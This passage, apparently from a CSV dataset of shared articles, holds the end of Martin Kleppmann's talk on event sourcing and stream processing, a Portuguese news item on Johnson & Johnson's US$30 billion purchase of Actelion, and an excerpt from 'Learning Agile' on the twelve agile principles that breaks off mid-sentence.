the people matching those criteria. How is that implemented? Well, in order to search, you need a full-text index, which is essentially a big dictionary - for every keyword, it tells you the IDs of all the profiles that contain the keyword. This search index is another aggregate structure, and whenever some data is written to the database, this structure needs to be updated with the new data. So for example, if I add my job ""Author at O'Reilly"" to my profile, the search index must now be updated to include my profile ID under the entries for ""author"" and ""o'reilly"". The search index is just another kind of cache. It also needs to be built from the source of truth (all the profile edits that have ever occurred) and it needs to be updated whenever a new event occurs (someone edits their profile). Now, returning to stream processing. I first described how you might build something like Google Analytics, and compared storing raw page view events versus aggregated counters, and discussed how you can maintain those aggregates by consuming a stream of events. I then explained event sourcing, which applies a similar approach to databases: treat all the database writes as a stream of events, and build aggregates (views, caches, search indexes) from that stream. Once you have that event stream, you can do many great things with it: You can take all the raw events, perhaps transform them a bit, and load them into a big data warehouse where analysts can query the data to their heart's content. You can update full-text search indexes, so that when a user hits the search box, they are searching an up-to-date version of the data. You can invalidate or refill any caches, so that reads can be served from fast caches while also making sure that the data in the cache remains fresh. And finally, you can even take one event stream, and process it in some way (perhaps joining a few streams together) to create a new output stream. This way, you can plug the output of one system into the input of another system. This is a very powerful way of building complex applications cleanly. Moving to an event-sourcing-like approach for databases is a big change from the way that databases have traditionally been used (where you can update and delete data at will). Why would you want to go to all that effort of changing the way you do things? What's the benefit of using append-only streams of immutable events? Several reasons: Loose coupling. If you write data to the database in the same schema as you use for reading, you have tight coupling between the part of the application doing the writing (the ""button"") and the part doing the reading (the ""screen""). We know that loose coupling is a good design principle for software. By separating the form in which you write and read data, and by explicitly translating from one to the other, you get much looser coupling between different parts of your application. Read and write performance. The decades-old debate over normalization (faster writes) vs. denormalization (faster reads) exists only because of the assumption that writes and reads use the same schema. If you separate the two, you can have fast writes and fast reads. Event streams are great for scalability , because they are a simple abstraction (comparatively easy to parallelize and scale across multiple machines), and because they allow you to decompose your application into producers and consumers of streams (which can operate independently, and can take advantage of more parallelism in hardware). Flexibility and agility. Raw events are so simple and obvious that a ""schema migration"" doesn't really make sense (you may just add a new field from time to time, but you don't usually need to rewrite historic data into a new format). On the other hand, the ways in which you want to present data to users are much more complex, and may be continually changing. If you have an explicit translation process between the source of truth and the caches that you read from, you can experiment with new user interfaces by just building new caches using new logic, running the new system in parallel with the old one, gradually moving people over from the old system, and then discarding the old system (or reverting to the old system if the new one didn't work). Such flexibility is incredibly liberating. Finally, error scenarios are much easier to reason about if data is immutable. If something goes wrong in your system, you can always replay events in the same order, and reconstruct exactly what happened (especially important in finance, where auditability is crucial). If you deploy buggy code that writes bad data to a database, you can just re-run it after you fixed the bug, and thus correct the outputs. Those things are not possible if your database writes are destructive. Finally, let's talk about how you might put these ideas into practice. I should point out that in reality, database writes often already do have a certain event-like immutable quality . The write-ahead log that exists in most databases is essentially an event stream of writes, although it's very specific to a particular database. The MVCC mechanism in databases like PostgreSQL, MySQL's InnoDB and Oracle, and the append-only B-trees of CouchDB, Datomic and LMDB are examples of the same thinking: it's better to structure writes as an append-only log than to perform destructive overwrites. However, here we're not talking about the internals of storage engines, but about using event streams at the application level. Some databases such as Event Store have oriented themselves specifically at the event sourcing model, and some people have implemented event sourcing on top of relational databases. Those may be viable solutions if you're operating at fairly small scale. The systems I have worked with most are Apache Kafka and Apache Samza . They are open source projects that originated at LinkedIn, and now have a big community around them. Kafka is a message broker, like a publish-subscribe message queue, which supports event streams with many millions of messages per second, durably stored on disk and replicated across multiple machines. Samza is the processing counterpart to Kafka: a framework which lets you write code to consume input streams and produce output streams, and it handles stuff like deploying your code to a cluster and recovering from failures. I would definitely recommend Kafka as a system for high-throughput reliable event streams. On the processing side, there are a few choices: Samza , Storm and Spark Streaming are the most popular stream processing frameworks. They all allow you to run your stream processing code distributed across multiple machines. There are interesting design differences (pros and cons) between these three frameworks, which I don't have time to go into here. You can read up a detailed comparison between them in the Samza documentation . And yes, I also think it's funny that they all start with the letter S. Today's distributed stream processing systems have come out of internet companies (Samza from LinkedIn, Storm from Backtype/Twitter). Arguably, they have their roots in stream processing research from the early 2000s ( TelegraphCQ , Borealis , etc), which originated from a relational database background. Just as NoSQL datastores stripped databases down to a minimal feature set, modern stream processing systems look quite stripped-down compared to the earlier research. The modern stream processing frameworks (Samza, Storm, Spark Streaming) are mostly concerned with low-level matters: how to scale processing across multiple machines, how to deploy a job to a cluster, how to handle faults (crashes, machine failures, network outages), and how to achieve reliable performance in a multi-tenant environment . The APIs they provide are quite low-level (e.g. a callback that is invoked for every message). They look much more like MapReduce and less like a database. They are more interested in reliable operation than in fancy features. By contrast, there is also some work on high-level query languages for stream processing, and Complex Event Processing is especially worth mentioning. It originated in 1990s research on event-driven simulation , and most CEP products are commercial, expensive enterprise software (only Esper is free/open source, and it's limited to running on a single machine). With CEP, you write queries or rules that match certain patterns in the events. They are comparable to SQL queries (which describe what results you want to return from a database), except that the CEP engine continually searches the stream for sets of events that match the query and notifies you (generates a ""complex event"") whenever a match is found. This is useful for fraud detection or monitoring business processes, for example. For use cases that can be easily described in terms of a CEP query language, such a high-level language is much more convenient than a low-level event processing API. On the other hand, a low-level API gives you more freedom, allowing you to do a wider range of things than a query language would let you do. Also, by focussing their efforts on scalability and fault tolerance, stream processing frameworks provide a solid foundation upon which query languages can be built. A related idea is doing full-text search on streams, where you register a search query in advance, and then get notified whenever an event matches your query. We've done some experimental work with Luwak in this area, but it's still very new. Finally, there are a lot of other things that are somehow related to stream processing. Going into laundry-list mode, here is a brief summary: Actor frameworks such as Akka, Orleans and Erlang OTP are also based on streams of immutable events. However, they are primarily a mechanism for concurrency, less a mechanism for data management. Some actor frameworks do have a distributed component, so you could build a distributed stream processing framework on top of actors. However, it's worth looking carefully at the fault-tolerance guarantees and failure modes of these systems: many don't provide durability, for example. There's a lot of buzz around "" reactive "", which seems to encompass a quite loosely-defined set of ideas . My impression is that there is some good work happening in dataflow languages and functional reactive programming (FRP), which I see as mostly about bringing event streams to the user interface, i.e. updating the user interface when some underlying data changes. This is a natural counterpart to event streams in the data backend. Finally, change data capture (CDC) means using an existing database in the familiar way, but extracting any inserts, updates and deletes into a stream of data change events which other applications can consume. This is a great migration path towards a stream-oriented architecture, and I'll be talking and writing more about CDC in future. I hope this talk helped you make some sense of the many facets of stream processing! Martin Kleppmann is a software engineer and entrepreneur. He is a committer on Apache Samza and author of the upcoming O'Reilly book Designing Data-Intensive Applications . He's @martinkl on Twitter.",en
1485456802,CONTENT SHARED,1348739322889189648,3609194402293569455,-296407187773930883,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://epocanegocios.globo.com/Empresa/noticia/2017/01/johnson-johnson-comprara-grupo-suico-por-us-30-bi.html,Johnson & Johnson comprará grupo suíço por US$ 30 bi,"Produtos da Johnson & Johnson (Foto: Chris Hondros/ Getty Images) A gigante do setor de saúde Johnson & Johnson vai comprar a empresa suíça de biotecnologia Actelion em uma transação em dinheiro de US$ 30 bilhões, que inclui a cisão da unidade de pesquisa e desenvolvimento da Actelion , informaram as empresas nesta quinta-feira. A aquisição dá à J&J acesso aos medicamentos de preço alto e margem elevada para as doenças raras do grupo suíço, ajudando-a a diversificar o portfólio de produtos. A oferta de pagar US$ 280 por ação, após semanas de negociações exclusivas, foi aprovada por unanimidade pelos conselhos de administração de ambas as empresas. O acordo compreende um prêmio de 23% em relação ao preço de fechamento da Actelion na quarta-feira, de 227,4 francos suíços, supera em mais de 80% o valor da ação em 23 de novembro, antes das primeiras notícias de que a maior empresa de biotecnologia da Europa tinha atraído o interesse de compradores. As ações da Actelion saltavam quase 20%, para 274,10 francos por volta das 10:53 (horário de Brasília). (Reportagem de John Miller e John Revill)",pt
1485478559,CONTENT SHARED,-2976309714446243509,6756039155228175109,3843680842567536066,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.oreilly.com/learning/12-agile-principles,12 Agile principles,"This chapter from Learning Agile lays out the 12 principles that every agile practitioner should use when working on a software project team. Hydroponics (source: BrightAgrotech via Pixabay ). This is an excerpt from Learning Agile , by Andrew Stellman and Jennifer Greene. If I had asked people what they wanted, they would have said faster horses. Henry Ford 1 There's no single recipe that results in perfect software every time. Agile teams recognize this. Instead, they have ideas and ground rules that help to guide teams to make the right choices and avoid problems-or deal with those problems when they inevitably happen. We've already seen the four values in the Agile Manifesto. In addition to those values, there are 12 principles that every agile practitioner should use when working on a software project team. When the 17 original signers of the Agile Manifesto met at Snowbird, Utah, they came up with the four values in the Agile Manifesto quickly. It took them longer to come up with the 12 additional principles that accompany the Manifesto. Manifesto signer Alistair Cockburn recalled: 2 The group of 17 quickly agreed on those value choices. Developing the next level of statements proved more than we could settle on in the time left in the meeting. The values included in this section make up the current working set. These statements should evolve as we learn people's perceptions of our words and as we come up with more accurate words ourselves. I will be surprised if this particular version isn't out of date shortly after the book is published. For the latest version, check the Agile Alliance . Alistair was right, and the language on the website for the principles is, in fact, currently slightly different than the language in his book. The language may always be evolving, but the ideas and principles have stayed constant. In this chapter, you'll learn about the 12 principles of agile software: what they are, why you need them, and how they impact your project. You'll see how these principles apply to a real project by following a practical example. To make it easier to learn, we've gathered these principles into four sections-delivery, communication, execution, and improvement-because they represent consistent themes throughout the principles and agile in general. But even though that's an effective way to learn about them, each principle stands on its own. The 12 Principles of Agile Software Our highest priority is to satisfy the customer through early and continuous delivery of valuable software. Welcome changing requirements, even late in development. Agile processes harness change for the customer's competitive advantage. Deliver working software frequently, from a couple of weeks to a couple of months, with a preference to the shorter timescale. The most efficient and effective method of conveying information to and within a development team is face-to-face conversation. Businesspeople and developers must work​ together daily throughout the project. Build projects around motivated individuals. Give them the environment and support they need, and trust them to get the job done. Working software is the primary measure of progress. Agile processes promote sustainable development. The sponsors, developers, and users should be able to maintain a constant pace indefinitely. Continuous attention to technical excellence and good design enhances agility. Simplicity-the art of maximizing the amount of work not done-is essential. The best architectures, requirements, and designs emerge from self-organizing teams. At regular intervals, the team reflects on how to become more effective, then tunes and adjusts its behavior accordingly. 3 The Customer Is Always Right...Right? Flip back to the beginning of the chapter and reread that quote. What is Henry Ford really saying? He's talking about giving people what they actually need, and not just what they ask for. The customer has a need, and if you're building software to meet that need, then you have to understand it-whether or not he can communicate it to you. How do you work with a customer who can't necessarily tell you at the beginning of a project that he needs a car, and not just faster horses? That's the motivation behind the 12 principles: getting the team to build software that the user actually needs. The principles depend on the idea that we build projects to deliver value . But that word, ""value,"" is a little bit tricky, because everyone sees different value in the software: different people need different things from it. You might be holding a good example of this idea in your hands. If you're reading this book on a handheld ebook reader, you're using software that was written to display ebooks on that reader. Take a minute and think about all of the different stakeholders (people who need something from the project) for that ebook reader software: As a reader, you want the software to make the book easy to read. You care about being able to flip back and forth between pages, highlight sections or take notes, search for text, and keep track of the last page you read. As authors, we care very much that the words we write are displayed correctly, that these bullet points are indented so that they're easy for you to read, that it's easy for you to navigate back and forth between the body text and the footnotes, and that you have a good overall experience so you can enjoy and learn from what we write. Our editor at O'Reilly cares that it's easy to distribute the book to you, and that, if you like it, you have an easy way to give it a positive review and buy other books from O'Reilly. The bookseller or retailer who sold you this book wants to make it very easy for you to browse and buy other books they have for sale, and to download them quickly and easily to your reader. You can probably think of more stakeholders, and of other things that each of these stakeholders cares about. Every one of these things represents value that's delivered to a stakeholder. The very first ebook readers on the market didn't do all of these things. It took a long time for the software that runs on those readers to evolve to the point where it is today. And it's almost certain that the software will get better and better as the teams working on it discover new ways to deliver new value. It's easy to see the value that an ebook reader has delivered, because hindsight is 20/20. It's much harder to see that value at the start of the project. Let's do a quick thought experiment to explore this. Consider this question: how might a hypothetical reader have turned out had it been developed using a waterfall process? ""Do As I Say, Not As I Said"" Imagine you're on a team building the very first handheld ebook reader. The hardware team delivered a prototype device that has a USB port that you can load ebooks into, and a little keyboard that lets you interact with it. It's up to you and your team to build the software that will display ebooks to the user. Unfortunately, your company has a long history of building software using a particularly ineffective, ""big requirements up front"" waterfall process. So the first thing that your project manager does is to call a giant meeting with everyone she can find. Your whole team spends the next few weeks in a room with, at various times, the senior managers of your company, a representative from a friendly publisher who wants to publish ebooks that your reader can display, a senior salesperson from an online retailer hoping to sell those books, and any other stakeholder that your project manager can dig up and get to come to a meeting. After days of intense meetings and heavy debate, your business analysts were able to piece together a large specification with requirements from all of the different stakeholders who were consulted. It was a lot of work, but now you have a spec that everyone thinks is great. There are extensive features for the user that would make it the most advanced handheld reader software available. It includes features to capture marketing statistics for publishers, it provides an entire Internet storefront to make it easy to buy books, and it even has an innovative feature for authors to preview and edit their books as they write them, streamlining the publishing process. This would be truly revolutionary software. After you sit down with the rest of your team to estimate, you've come up with a schedule of 15 months. It seems like a long time, but everyone is excited, and you're confident that you and your team can deliver. Fast-forward a year and a half. The ebook reader team has worked unbelievably hard, putting in many late nights and weekends, and putting stress on more than a few marriages. It was a huge effort, but the project is done, and you've delivered exactly on plan, practically to the day. (Yes, that seems highly improbable! But for the sake of this thought experiment, try to suspend your disbelief and imagine that it happened, just this once.) Every requirement in the spec has been implemented, tested, and verified as complete. The team is really proud, and every stakeholder who's seen it agrees that they got exactly what they asked for. So, the product hits the market...and it's a flop. Nobody buys the reader, and none of the stakeholders are happy. So what happened? It turns out that the software everyone needed a year and a half ago is not the same software that they need today. In the time since the project began, the industry standardized on a new, industry-wide format for ebooks, and because that format wasn't in the spec, it's not supported. None of the Internet retailers want to publish the nonstandard format that the reader uses. And even though the team built that great Internet storefront, it's now far less advanced than the storefronts that the retailers currently use, so it's not attractive to them anymore. And all the work that you and your team put into building the special preview feature for authors isn't nearly as useful as a competitor's support for authors to email MS Word documents straight to their readers and display them. What a mess! The spec that your team started with had a lot of value to all of the customers, both inside and outside the company. But now the software your team agreed to build a year and a half ago is much less valuable. Some of these changes could have been discovered early on in the project, but many of them would not have been clear from the beginning. The team would have had to change course very quickly at many points during the project in order to take them into account. The ""big requirements up front"" waterfall approach doesn't give a team much flexibility to respond to these changes. So how can we find a better way to satisfy stakeholders and customers, but still run a project that delivers software that works? Delivering the Project Agile teams recognize that their most important job is to deliver working software to their customers. You already know how they do this from Chapter 2 : by working together as a team, collaborating with their customers, and responding to change. But how does that translate to the day-to-day work of a team? By putting frequent delivery of value first, by looking at each change as a good thing for the project, and by delivering software frequently, the team and the customers can work together to make adjustments along the way. The software that the team builds might not be what they set out to build, but that's a good thing -because they end up building the software that the customers need most. Principle #1: Our Highest Priority Is to Satisfy the Customer Through Early and Continuous Delivery of Valuable Software. This first principle includes three distinct and important ideas: releasing software early, delivering value continuously, and satisfying the customer. To really understand the core of this principle, you need to know how those three things work together. Project teams work in the real world, and in the real world things never go perfectly. Even a team that does a brilliant job of gathering and writing down requirements will miss things, because it's impossible to completely and perfectly capture the requirements for any system. That's not to say that teams shouldn't try, and agile methodologies are based on some great practices for communicating and writing down requirements. But the fact is that until customers get their hands on working software, they have a hard time envisioning exactly how the software will work. So if the customer can only give you real, informed feedback after seeing working software, then the best way to get that feedback is through early delivery : shipping the first working version of the software to the customer as early as possible. Even if you only deliver a single working feature that the customer can use, that's still a win. It's a win for the team, because the customer can now give informed feedback to help them move the project in the right direction. It's also a win for the customers, because they can do something today that they couldn't do before-with this working software. Because the software works, and because the customers can actually use it to do something they need, the team has delivered real value. It might only be a small amount of value, but it's far better than delivering no value at all-especially if the alternative is an increasingly frustrated user who has to wait a long time before getting his or her hands on software from the team. The downside to delivering early is that the software that's first delivered to the customers is far from complete. This can be really hard for some users and stakeholders to deal with; while some users are used to the idea that they'll see software early, others are much less so. Many people have a hard time when they are handed software that's not perfect. In fact, in a lot of companies (especially larger companies where people have spent years working with software teams), the software team has to literally negotiate the terms under which they'll provide software to their stakeholders. When there's not a great partnership between the team and the people they build software for, if the team delivers incomplete software, the users and stakeholders may judge it very harshly and even panic if a feature they expect to see is missing. The core agile values have an answer to this: customer collaboration over contract negotiation. A team that's bound to a fixed specification with inflexible bureaucratic barriers to change doesn't have the option to let the software evolve over time. A team working under those conditions has to kick off a whole new change management process, which requires a fresh set of contract negotiations with the customer. On the other hand, a team that truly collaborates with the customers has the option of making all the necessary changes along the way. That's what continuous delivery means. This is why agile methodologies are typically iterative. Agile teams plan the project's iterations by choosing the features and requirements that will deliver the most value. The only way that the team can figure out what features deliver that value is to collaborate with the customer and incorporate the feedback from the previous iteration. This lets the team satisfy the customer in the short run by demonstrating value early, and in the long run by delivering the finished product that delivers as much value as possible. Principle #2: Welcome Changing Requirements, Even Late In Development. Agile Processes Harness Change for the Customer's Competitive Advantage. Many successful agile practitioners have a lot of trouble with this principle when they first encounter it. It's easy to talk in abstract terms about welcoming change. But in the heat of a project, when a team runs into a change that will require a lot of work, things can get emotionally charged-especially for a developer who knows that his boss will hold him to the old deadline, no matter how much work the change requires. Getting past this, especially in a culture where people are blamed for delays, can be difficult. But it can also be very rewarding, because welcoming changing requirements is one of the most powerful tools in the agile toolbox. Why are changes in a project emotionally charged? Understanding that is a key to this principle. Think back to the last time you were working on a project and found out that you needed to change what you were building. How did it feel? Until that moment, you thought the project was going well. You probably made a lot of decisions: how to structure your work, what you were building, and what you promised to deliver to your customers. Now someone outside of the project is telling you that some of that planning and work was wrong-that you were wrong. It's very difficult to accept someone telling you that you've been wrong, especially if you've been doing work for that person. Most software engineers are driven by pride of workmanship : we want to deliver products that we can stand behind, and that satisfy our users' needs. A change in a project threatens that, because it's questioning the path that you've taken and the assumptions that you've made. Very often, someone is telling you to change course after explicitly setting you on that course. If that person told you to build one thing, and you went ahead and built half of it, it's very frustrating for that same person to then come back to you and say, ""Actually, now that I think about it, can we build something completely different?"" It feels disrespectful of the effort that you put in. Now you have to go back and make changes to things you thought were done. It's hard not to get defensive about that! And it gets even worse if you're the one who's held responsible for not reading your customer's mind and, as a result, blowing your deadline. Almost every professional developer has been through that situation at least once. In light of that, how can we bring ourselves to welcome changing requirements? The first step toward welcoming changing requirements is to try to see things from the customer's perspective. This is not always easy, but it's enlightening. Do you think that the customer who originally sent you down the wrong path meant to? What do you think went through his head when he realized that he told you months ago to build the wrong software, and now you've wasted months of work because of what he said? Coming to you and requesting the change is, to him, admitting that he made a mistake-a mistake that will cost you a lot of work. That's not easy to do. No wonder customers often wait a long time before coming to the team with a change! It's embarrassing, and they know that they're delivering bad news. Your deadline is going to be blown, but so is his. If he has needs, and if the company is spending money building software to meet those needs, then his needs aren't getting met, and the project isn't delivering value. And it's all his fault, because he told you the wrong thing at the start of the project. In other words, two people are being asked to do the impossible. You're being asked to read the customer's mind. He's being asked to predict the future. When you look at it like that, it starts to become a lot easier to welcome change. On the other hand, if you want to resist project change and stubbornly stick to the same plan that you wrote at the beginning of the project, it's easy-just make sure to hire only telepathic and clairvoyant team members. So what does it mean to welcome change? It means: Nobody gets in ""trouble"" when there's a change. We acknowledge-and our bosses acknowledge-that we're human and fallible, and that it's better for the company to allow us to make mistakes and correct them frequently, rather than expect us to do things perfectly the first time. We're all in this together. Everyone on the team, including the customers you're collaborating with, owns the requirements and the changes to those requirements. If those requirements are wrong, it's as much your fault as the customer's, so there's no sense in placing blame for a change. We don't sit on change until it's too late. Yes, it's embarrassing to have made a mistake. But because we all recognize that, we simply do our best to fix it as early as possible. That way, the damage is limited. We stop thinking of changes as mistakes. We did our best with the information we had at the time, and it only became clear that we were wrong because the decisions we made along the way gave us the perspective to recognize the changes that we have to make today. We learn from the changes. This is the most effective way for a team to grow and get better at building software together. Principle #3: Deliver Working Software Frequently, from a Couple of Weeks to a Couple of Months, with a Preference to the Shorter Timescale. You might be thinking that the idea of welcoming changing requirements is interesting, and could help your projects. But you might also be thinking that it sounds terrible. This is not an uncommon reaction to the idea. Many people who work on software teams-especially traditional project managers-are very uncomfortable with the idea of welcoming changes when they first encounter it. These project managers deal with changes every day, but the agile attitude toward change is very different than what they are used to. Agile practitioners refer to the traditional attitude toward project changes as command-and-control . The term ""command-and-control"" is borrowed from the military. In our 2010 book, Beautiful Teams , we interviewed Northrop Grumman chief engineer Neil Siegel, who gave us a military definition of the term: Andrew: I'm not familiar with military systems-what's a command-and-control system? Neil: An information system for military commanders. It allows them to communicate with each other, and allows them to maintain situational awareness: where everybody is, what their status is. It's how a commander can understand what's going on. Battlefields used to be small areas-a commander could stand on a hill with a pair of binoculars and could see what was going on. But by about 1900, the battlefields started getting so big that you couldn't stand on the hill like Napoleon did. You had to start using technology to ""see"" the entire battlefield. And the systems that do that are called ""command-and-control systems."" Command-and-control project management is similar to military command-and-control: ""Command"" refers to the way the project manager assigns work to the team. The team may not report directly to her, but she has control over their assignments. She breaks down the work, builds a schedule, and assigns activities to the resources on her team. ""Control"" refers to the way she manages changes. Every project has changes along the way: work takes longer than anticipated, people take sick days or leave the project, hardware is not available or breaks, and all sorts of other unexpected things happen. Project managers constantly monitor for these changes, and then control the project by evaluating each change as it occurs, updating the plans to incorporate the change into the schedule and documentation, giving the team new assignments, and managing their stakeholders' expectations so that nobody is blindsided. The reason a traditional project manager is uncomfortable with welcoming change when she first encounters it is because she recognizes that those same problems will happen on agile projects too, and the team needs to be able to respond to them. Simply accepting changes and welcoming them seems like a guaranteed way to introduce chaos to the project. If agile teams don't use command-and-control, how do they manage to keep up with all of those changes while still dealing with the normal day-to-day issues that project teams always face? Figure 1-1. The team uses iteration to deliver working software frequently, adding new features with each release. The key to welcoming changes without introducing chaos lies in delivering working software frequently. The team uses iteration to break the project into regular deadlines. During the iterations, the team delivers working software. At the end of each iteration, the team holds a demo to show the customer what they built, and a retrospective to look back and see what lessons can be learned. Then they start a planning session to figure out what they'll build in the next iteration. The predictable schedule and the constant checkpoints help the team catch those changes early, and give everyone a blame-free environment where they can discuss each change and come up with a strategy to incorporate it into the project. This is where agile starts to become very attractive to a traditional command-and-control project manager. A command-and-control project manager wants to control the deadline. Timeboxed iterations give the project manager that control. This also solves one of the project manager's biggest challenges: dealing with changes that come in very late in the project. One of the most difficult parts of a traditional project manager's job is monitoring for changes. The daily reviews and iteration retrospectives let the project manager enlist the whole team as eyes and ears to spot those changes much earlier, before they can cause more serious problems with the project. The project manager's role starts to shift away from command-and-control, where she gave the team a daily battle plan and constantly adjusted to keep them on track. Instead, now she's working with the team to make sure that each person is constantly looking at the big picture and working toward the same goals. It's easier to do that when the team is working on a short iteration that will deliver working software. This gives each person concrete goals, and a much better idea of what everyone is delivering-and a sense that each person is responsible not only for what he built, but also for what the entire team will deliver at the end of the iteration. Better Project Delivery for the Ebook Reader Project How can these principles help our troubled ebook reader project? Think back to the problems that the project team faced: their product flopped because it was missing important features that their competitors had (supporting an industry standard format for ebooks, and letting users mail documents to their device), and it had features that were no longer relevant to their market (an Internet storefront). Let's run the project again, but this time let's have the project manager work with the stakeholders and the team to set one-month sprints. The project turned out very different this time: After the third sprint, one of the developers reported that the industry standard for a new format for ebooks had been approved. The team decided to implement a library that supports it in the fourth sprint, and incorporate it into the reader's user interface in the fifth iteration. After 10 months of development, they created a working build that can be loaded into prototype machines and given to early beta users. The project manager talked to these users and discovers that they would really like a way to get Microsoft Word documents and newspaper articles onto their readers. The team dedicated part of the next sprint to building email integration into the reader, so users can mail articles to their devices. One year into the project, the stakeholders let the team know that the Internet storefront is actually not needed after all, now that the retailers all use the standard ebook format. Luckily, this feature was always low on the backlog and other sprints were dedicated to more important features, so very little work had been done on it. Because the team had always delivered working software after each sprint, eliminating the features from the backlog meant that they could deliver early! The publishing partner was ready with books, because their senior managers all got early versions of the software and prototype hardware to play with. That kept them involved, and gave them incentive to make sure they had books ready to go as soon as the first version of the product was ready. Figure 1-2. At the beginning of each iteration, the team chooses features from the backlog to build. By using continuous releases, welcoming changes, and delivering working software after each iteration, the ebook reader project was able to deliver a successful product much earlier. Unlike the inefficient waterfall process, which sealed the team off from the customers once the requirements were approved, the agile team stayed engaged with their customers. That let them respond to changes and build a better product. But things aren't perfect on our ebook reader team-far from it. They're using iterations to deliver working software, but they're getting buried under documentation. Everyone is really happy that they're not stuck building software that won't sell. But every time the team finds a good change they need to make to the project, half the team gets stuck going back to the spec and updating it so that their plans stay up to date and they stay on course. It seems like they're burning as much effort updating documentation as they are writing code. People on the team have talked about ways to cut down the amount of work it takes to maintain all of these documents. They've had extensive discussions about the ""right level of detail"" for their documentation. But whenever they try to cut something out, someone always brings up a (valid) point that if they don't write down that particular feature, requirement, design, or test case, then someone might misunderstand it. If it gets implemented incorrectly, they'll get blamed for it. So it seems like every piece of documentation is needed, because otherwise the team will be on the hook for building the wrong software. Is there any way they can reduce this burden without hurting the project? Is there even such a thing as a ""right"" level of documentation for a project? Key Points The 12 principles of agile development that accompany the Agile Manifesto provide agile practitioners with direction and insight into practices and methodologies. Agile teams satisfy their customers by getting feedback early in the project , and continuously delivering software to keep that feedback up to date (Principle #1). Agile teams embrace change by treating project changes as positive and healthy developments for the project (Principle #2). By using timeboxed iterations to deliver working software frequently , agile teams constantly adjust the project so that it delivers the most value to the customer (Principle #3). Communicating and Working Together Software teams have been struggling with the ""how much documentation?"" question for as long as they've been developing software. Just like many teams over the years have searched for a ""silver bullet"" methodology to solve their process, programming, and delivery problems, they've also been looking for a ""silver bullet"" documentation system or template to magically record everything they need to build the software today and maintain it in the future. Traditional thinking about software documentation goes something like this: we need a documentation management system so that everyone can put in the information they have, and tie it together with everyone else's information. If we have traceability so that we can fully establish all of the relationships between all of the information, then that will give us near-perfect visibility into what we'll build, how we'll test it, and how it will be deployed and maintained. The idea is that developers can trace every element of the design back to a requirement, and testers can trace every test case back to elements of the design, requirements, and scope. Any time the team needs to change, say, a part of the design, they can see exactly what code, requirements, scope, and test cases will be affected, so they don't have to waste a lot of time doing analysis. Software engineers call this impact analysis , and often try to maintain extensive traceability matrices that map all of the elements in the scope, requirements, design, and tests to each other. Then the project manager can use that map to trace code, bug reports, design elements, and requirements back to their sources. So back to that question that teams have struggled with: how much documentation should they create? The answer, for an agile team, is just enough to build the project. Exactly how much that is depends on the team, how well they communicate, and the problem that they're solving. Think about all of the other kinds of documentation that software teams build: capturing all of the decisions made in every meeting by taking copious meeting notes; creating cross-reference documents that describe every aspect of every data source or store; complex matrices of detailed roles, responsibilities, and rules that each person needs to follow. A case can be made for all sorts of documentation. If it doesn't actually help the team build the software, and if it's not required for some other reason (like for a regulator, investor, senior manager, or other stakeholder), an agile team doesn't build it. But if, for example, a team finds that it really helps them to write a functional requirements document, then they can do it and still be agile. It all depends on what works best for the team, and that's one of the freedoms that agile gives you. All of that work to build the extra documentation beyond what the team needs to build the software-the comprehensive documentation, the traceability matrix, the impact analysis-is done, in large part, to make it possible to fully analyze the impact of any change. While agile has a different (and often much more efficient) approach to managing changes to your project, agile practitioners should recognize that the traditional approach to documentation shares their goal. In a traditional waterfall project, the whole point of comprehensive documentation is to deal with change better. Ironically, more often than not, comprehensive documentation gets in the way of managing changes. The dream of perfect documentation and traceability is to have a system where the team can automatically generate the impact of any change they need to manage, so that they can pinpoint exactly what needs to be fixed. For most teams, unfortunately, the reality of managing changes with comprehensive documentation is not nearly so pretty. They have to spend an enormous amount of time at the beginning of the project attempting to predict the future and write it down perfectly. While the project is running, they need to maintain the documents they've written and keep track of any new developments. If there are changes to the original understanding of the product that's being built, they need to go back and make changes to all of the affected documents as well. This can lead to a mess of out-of-date documents over time, and it takes a lot of effort for the team to create and maintain those stale documents. In fact, because it's not perfect, the comprehensive documentation actually leads to unnecessary changes and wasted effort. Any one piece of documentation is always written from the perspective of a person in a specific role: business analysts write requirements from one perspective, architects build designs from another, and QA engineers create test plans from a third. Then, when they need to tie these all together with traceability matrices, they discover exactly the kinds of inconsistencies that you'd expect these fractured perspectives to introduce. Building the documentation becomes a goal unto itself, and requires an increasing amount of up-front effort. And when a change finally does happen, all of that work that they put into reconciling their perspectives into a single comprehensive set of documentation needs to be redone. This causes the team to spin their wheels rewriting documentation, rebuilding traceability matrices, and resolving conflicts when they should be writing code, testing the software, and deploying the change. There's got to be a more efficient way to build software. Principle #4: The Most Efficient and Effective Method of Conveying Information To and Within a Development Team Is Face-To-Face Conversation. Agile practitioners recognize that documentation is just another form of communication. 4 When I write a document and hand it to you, the goal is not to write documentation . The goal is to make sure that the ideas in my head match the ideas in your head as closely as possible. In many cases, documentation is a good tool to accomplish that goal-but it's not the only communication tool that we have. Figure 1-3. When people on the team don't communicate, they may agree on the broad strokes, but end up working toward different goals. Comprehensive documentation can make this worse by making it easy to introduce ambiguity. Face-to-face communication is almost always a better tool for sharing ideas within a software team than documentation. Everybody knows that talking through a problem in person is the most effective way to understand a new idea. We're all much more likely to retain ideas that were expressed in conversation than if we'd read them on a page or in a Microsoft Word document. That's why agile communication practices focus most on individual people communicating with each other, and reserve documentation for those cases where complex information needs to be recalled in detail later. Luckily, it's not hard for teams that are used to comprehensive documentation to move to more effective face-to-face communication. That's because most of those teams don't actually try to hit the ""ideal"" of complete comprehensive documentation and traceability. Software engineers are notoriously practical. When they see how much work is involved in building up that comprehensive documentation, they end up having those face-to-face conversations anyway. In the end, that's the only way they can effectively build software. By recognizing that comprehensive documentation is often inappropriate, they can stop feeling guilty for not accomplishing the impossible-building perfect, comprehensive documentation-because it would not, in fact, be particularly useful for their projects if they did! Instead, the most efficient way for the team to communicate the important ideas needed for the project is to get everyone thinking the same way. That way, each person can handle every decision as it comes. When a group of people look at the world the same way, and communicate about both positive and negative ideas openly, they end up with a shared perspective. When a change comes along that requires rethinking, the team members don't have to explain as much to each other. The ultimate goal for team communication is to create a sense of community so that there's a lot of implied knowledge, because it's just not efficient to explain the same thing over and over again. Without that sense of community, people in different roles have to work harder to match each other's perspectives. The closer the team gets to having a sense of community and a shared perspective, the more often each person will independently come to a similar answer when posed the same question. This gives them a much more stable ground for handling changes, because they can get past the conflicts and start working on the 